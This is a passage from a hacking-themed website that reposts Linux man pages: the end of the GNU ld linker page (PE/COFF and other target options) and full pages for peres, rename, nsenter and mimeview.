If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

429 - Linux cli command peres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command peres and provides detailed information about the command peres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the peres.

NAME 🖥️ peres 🖥️

analyze and extract PE file resources

SYNOPSIS

peres [OPTIONS]… pefile

DESCRIPTION

peres opens the resource section of a PE file and to read and extract resources. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-a, –all
Show all information, statistics and extract the resources.

-f, –format <text|csv|xml|html>
Change output format (default is text).

-i, –info
Show resources information.

-x, –extract
Extract resources.

-s, –statistics
Show resource section statistics.

-v, –version
Show the File Version from resources section.

-V, –version
Show program version and exit.

–help
Show this help.

EXAMPLES

Show resources statistics of putty.exe:

$ peres -s putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

430 - Linux cli command prenamep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prenamep and provides detailed information about the command prenamep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prenamep.

NAME 🖥️ prenamep 🖥️

rename - renames multiple files

SYNOPSIS

file-rename-h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -u [enc]] [ -e|-E perlexpr]*|perlexprfiles ]

DESCRIPTION

file-rename renames the filenames supplied according to the rule specified as the first argument. The perlexpr argument is a Perl expression which is expected to modify the $_ string in Perl for at least some of the filenames specified. If a given filename is not modified by the expression, it will not be renamed. If no filenames are given on the command line, filenames will be read via standard input.

Examples (Larry Wall, 1992)

For example, to rename all files matching *.bak to strip the extension, you might say

file-rename – s/\bak$// *.bak

To translate uppercase names to lower, you’d use

file-rename y/A-Z/a-z/ ./*

Examples rewritten to avoid globs which could inject options.

More examples (2020)

You can also use rename to move files between directories, possibly at the same time as making other changes (but see –filename)

file-rename y/A-Z/a-z/;s/^/my_new_dir/ ./*.*

You can also write the statements separately (see -e/-E)

file-rename -E y/A-Z/a-z/ -E s/^/my_new_dir/ – *.*

You can use the predefined variables $a, $b in the code; for instance to create sequences of numbers

rename -e $a++;s/\w+/file_$a/ – *.*

OPTIONS

-v, –verbose
Verbose: print names of files successfully renamed.

-0, –null
Use � as record separator when reading from STDIN.

-n, –nono
No action: print names of files to be renamed, but don’t rename.

-f, –force
Over write: allow existing files to be over-written.

–path, –fullpath
Rename full path: including any directory component. DEFAULT

-d, –filename, –nopath, –nofullpath
Do not rename directory: only rename filename component of path.

-h, –help
Help: print SYNOPSIS and OPTIONS.

-m, –man
Manual: print manual page.

-V, –version
Version: show version number.

-u, –unicode [encoding]
Treat filenames as perl (unicode) strings when running the user-supplied code. Decode/encode filenames using encoding, if present. encoding is optional: if omitted, the next argument should be an option starting with ‘-’, for instance -e.

-e
Expression: code to act on files name. May be repeated to build up code (like perl -e). If no -e, the first argument is used as code.

-E
Statement: code to act on files name, as -e but terminated by ‘;’.

ENVIRONMENT

No environment variables are used.

AUTHOR

Larry Wall

SEE ALSO

mv (1), perl (1)

DIAGNOSTICS

If you give an invalid Perl expression you’ll get a syntax error.

BUGS

The original rename did not check for the existence of target filenames, so had to be used with care.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

431 - Linux cli command nsenter

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nsenter and provides detailed information about the command nsenter, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nsenter.

NAME 🖥️ nsenter 🖥️

run program in different namespaces

SYNOPSIS

nsenter [options] [program [arguments]]

DESCRIPTION

The nsenter command executes program in the namespace(s) that are specified in the command-line options (described below). If program is not given, then “${SHELL}” is run (default: /bin/sh).

Enterable namespaces are:

mount namespace

Mounting and unmounting filesystems will not affect the rest of the system, except for filesystems which are explicitly marked as shared (with mount –make-shared; see /proc/self/mountinfo for the shared flag). For further details, see mount_namespaces(7) and the discussion of the CLONE_NEWNS flag in clone(2).

UTS namespace

Setting hostname or domainname will not affect the rest of the system. For further details, see uts_namespaces(7).

IPC namespace

The process will have an independent namespace for POSIX message queues as well as System V message queues, semaphore sets and shared memory segments. For further details, see ipc_namespaces(7).

network namespace

The process will have independent IPv4 and IPv6 stacks, IP routing tables, firewall rules, the /proc/net and /sys/class/net directory trees, sockets, etc. For further details, see network_namespaces(7).

PID namespace

Children will have a set of PID to process mappings separate from the nsenter process. nsenter will fork by default if changing the PID namespace, so that the new program and its children share the same PID namespace and are visible to each other. If –no-fork is used, the new program will be exec’ed without forking. For further details, see pid_namespaces(7).

user namespace

The process will have a distinct set of UIDs, GIDs and capabilities. For further details, see user_namespaces(7).

cgroup namespace

The process will have a virtualized view of /proc/self/cgroup, and new cgroup mounts will be rooted at the namespace cgroup root. For further details, see cgroup_namespaces(7).

time namespace

The process can have a distinct view of CLOCK_MONOTONIC and/or CLOCK_BOOTTIME which can be changed using /proc/self/timens_offsets. For further details, see time_namespaces(7).

OPTIONS

Various of the options below that relate to namespaces take an optional file argument. This should be one of the /proc/[pid]/ns/* files described in namespaces(7), or the pathname of a bind mount that was created on one of those files.

-a, –all

Enter all namespaces of the target process by the default /proc/[pid]/ns/* namespace paths. The default paths to the target process namespaces may be overwritten by namespace specific options (e.g., –all –mount=[path]).

The user namespace will be ignored if the same as the caller’s current user namespace. It prevents a caller that has dropped capabilities from regaining those capabilities via a call to setns(). See setns(2) for more details.

-t, –target PID

Specify a target process to get contexts from. The paths to the contexts specified by pid are:

/proc/pid/ns/mnt

the mount namespace

/proc/pid/ns/uts

the UTS namespace

/proc/pid/ns/ipc

the IPC namespace

/proc/pid/ns/net

the network namespace

/proc/pid/ns/pid

the PID namespace

/proc/pid/ns/user

the user namespace

/proc/pid/ns/cgroup

the cgroup namespace

/proc/pid/ns/time

the time namespace

/proc/pid/root

the root directory

/proc/pid/cwd

the working directory respectively

-m, –mount[=file]

Enter the mount namespace. If no file is specified, enter the mount namespace of the target process. If file is specified, enter the mount namespace specified by file.

-u, –uts[=file]

Enter the UTS namespace. If no file is specified, enter the UTS namespace of the target process. If file is specified, enter the UTS namespace specified by file.

-i, –ipc[=file]

Enter the IPC namespace. If no file is specified, enter the IPC namespace of the target process. If file is specified, enter the IPC namespace specified by file.

-n, –net[=file]

Enter the network namespace. If no file is specified, enter the network namespace of the target process. If file is specified, enter the network namespace specified by file.

-p, –pid[=file]

Enter the PID namespace. If no file is specified, enter the PID namespace of the target process. If file is specified, enter the PID namespace specified by file.

-U, –user[=file]

Enter the user namespace. If no file is specified, enter the user namespace of the target process. If file is specified, enter the user namespace specified by file. See also the –setuid and –setgid options.

–user-parent

Enter the parent user namespace. Parent user namespace will be acquired from any other enabled namespace. If combined with –user option the parent user namespace will be fetched from the user namespace and replace it.

-C, –cgroup[=file]

Enter the cgroup namespace. If no file is specified, enter the cgroup namespace of the target process. If file is specified, enter the cgroup namespace specified by file.

-T, –time[=file]

Enter the time namespace. If no file is specified, enter the time namespace of the target process. If file is specified, enter the time namespace specified by file.

-G, –setgid gid

Set the group ID which will be used in the entered namespace and drop supplementary groups. nsenter always sets GID for user namespaces, the default is 0. If the argument “follow” is specified the GID of the target process is used.

-S, –setuid uid

Set the user ID which will be used in the entered namespace. nsenter always sets UID for user namespaces, the default is 0. If the argument “follow” is specified the UID of the target process is used.

–keep-caps

When the –user option is given, ensure that capabilities granted in the user namespace are preserved in the child process.

–preserve-credentials

Don’t modify UID and GID when enter user namespace. The default is to drops supplementary groups and sets GID and UID to 0.

-r, –root[=directory]

Set the root directory. If no directory is specified, set the root directory to the root directory of the target process. If directory is specified, set the root directory to the specified directory. The specified directory is open before it switches to the requested namespaces.

-w, –wd[=directory]

Set the working directory. If no directory is specified, set the working directory to the working directory of the target process. If directory is specified, set the working directory to the specified directory. The specified directory is open before it switches to the requested namespaces, it means the specified directory works as “tunnel” to the current namespace. See also –wdns.

-W, –wdns[=directory]

Set the working directory. The directory is open after switch to the requested namespaces and after chroot(2) call. The options –wd and –wdns are mutually exclusive.

-e, –env

Pass environment variables from the target process to the new process being created. If this option is not provided, the environment variables will remain the same as in the current namespace..

-F, –no-fork

Do not fork before exec’ing the specified program. By default, when entering a PID namespace, nsenter calls fork before calling exec so that any children will also be in the newly entered PID namespace.

-Z, –follow-context

Set the SELinux security context used for executing a new process according to already running process specified by –target PID. (The util-linux has to be compiled with SELinux support otherwise the option is unavailable.)

-c, –join-cgroup

Add the initiated process to the cgroup of the target process.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

The –user-parent option requires Linux 4.9 or higher, older kernels will raise inappropriate ioctl for device error.

AUTHORS

SEE ALSO

clone(2), setns(2), namespaces(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The nsenter command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

432 - Linux cli command mimeview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mimeview and provides detailed information about the command mimeview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mimeview.

NAME 🖥️ mimeview 🖥️

display files, using mailcap mechanism.

SYNOPSIS

mimeview [OPTION…] FILE [FILE …]

DESCRIPTION

GNU mimeview display files, using mailcap mechanism.

-a, –no-ask[=TYPE-LIST]
do not ask for confirmation before displaying files, or, if TYPE-LIST is given, do not ask for confirmation before displaying such files whose MIME type matches one of the patterns from TYPE-LIST

-d, –debug[=FLAGS]
enable debugging output

-f, –mimetypes=FILE
use this mime.types file

-h, –no-interactive, –print
disable interactive mode

-i, –[no-]identify
identify MIME type of each file

–metamail[=FILE]
use metamail to display files

-n, –[no-]dry-run
do nothing, just print what would have been done

-t, –[no-]lint
test mime.types syntax and exit

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

Debug flags are: g - Mime.types parser traces l - Mime.types lexical analyzer traces 0-9 - Set debugging level

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

433 - Linux cli command invproj

